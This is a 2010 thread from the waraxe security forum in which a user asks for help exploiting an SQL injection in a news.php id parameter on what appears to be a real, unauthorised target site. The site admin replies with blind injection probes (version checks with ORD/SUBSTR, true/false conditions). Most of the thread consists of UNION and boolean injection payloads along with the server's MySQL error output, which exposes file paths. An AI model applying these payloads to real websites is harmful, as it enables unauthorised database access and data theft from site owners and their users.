Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 183
Members: 0
Total: 183
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL injection HELP!!!! w..
Post new topicReply to topic View previous topic :: View next topic
SQL injection HELP!!!! w..
PostPosted: Wed Jun 16, 2010 11:48 am Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




Hey, I'm stuck here, I m not abel to exploite this SQL vulnerability, please look at the error given.. & the query.

Code:
news.php?id=255 order by 25--


No error

Code:
news.php?id=255 order by 26--


A SQL error..

Code:
1054: Unknown column '26' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 11
News
1054: Unknown column '26' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 62


Emmm ok, so should I use UNION... look plz!

Code:
news.php?id=255 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--


Code:
news.php?id=255 AND 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--


Uh also I got an error SQL..


Code:
1064: You have an error in your SQL syntax near 'UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 11
News

1064: You have an error in your SQL syntax near 'UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 62



So? Thank's In advanced..
View user's profile Send private message
PostPosted: Wed Jun 16, 2010 2:45 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It may be old 3.x MySql version, which does not support UNION.
You can use simple true/false tests for sql version verification:

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>50--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>51--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>52--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>53--
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Jun 16, 2010 4:29 pm Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




waraxe wrote:
It may be old 3.x MySql version, which does not support UNION.
You can use simple true/false tests for sql version verification:

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>50--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>51--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>52--

Code:

news.php?id=255 AND ORD(SUBSTR(@@version,1,1))>53--



Euh I got the same Error..

Code:
1064: You have an error in your SQL syntax near '(@@version,1,1))>53-- order by volgorde' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 11
News

1064: You have an error in your SQL syntax near '(@@version,1,1))>53-- order by volgorde' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mac/aes2010/Web/pages_en/news.php on line 62


So? It seem hard..
View user's profile Send private message
PostPosted: Wed Jun 16, 2010 4:43 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try this tests:

Code:

news.php?id=255 AND 1=1--


Code:

news.php?id=255 AND 1=2--
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Jun 16, 2010 4:45 pm Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




waraxe wrote:
Try this tests:

Code:

news.php?id=255 AND 1=1--


Code:

news.php?id=255 AND 1=2--



First > No error

Second > Error

Code:
1064: You have an error in your SQL syntax near 'order by volgorde' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in



news.php?id=255 UNION SELECT 1 AND 1=1--
news.php?id=255 UNION SELECT 1--

Code:
1064: You have an error in your SQL syntax near 'union select 1-- order by volgorde' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in


and A single quote in the variable..here

news.php?id=255' OR '1'='1'

Code:
1064: You have an error in your SQL syntax near '\' OR \'1\'=\'1\' order by volgorde' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in




So?
View user's profile Send private message
PostPosted: Wed Jun 16, 2010 9:20 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, try this:

Code:

news.php?id=255 AND 1=1--


Code:

news.php?id=255 AND(SELECT 1)=1--
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Jun 17, 2010 10:59 pm Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




waraxe wrote:
OK, try this:

Code:

news.php?id=255 AND(SELECT 1)=1--


The same error..
View user's profile Send private message
SQL injection HELP!!!! w..
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.048 Seconds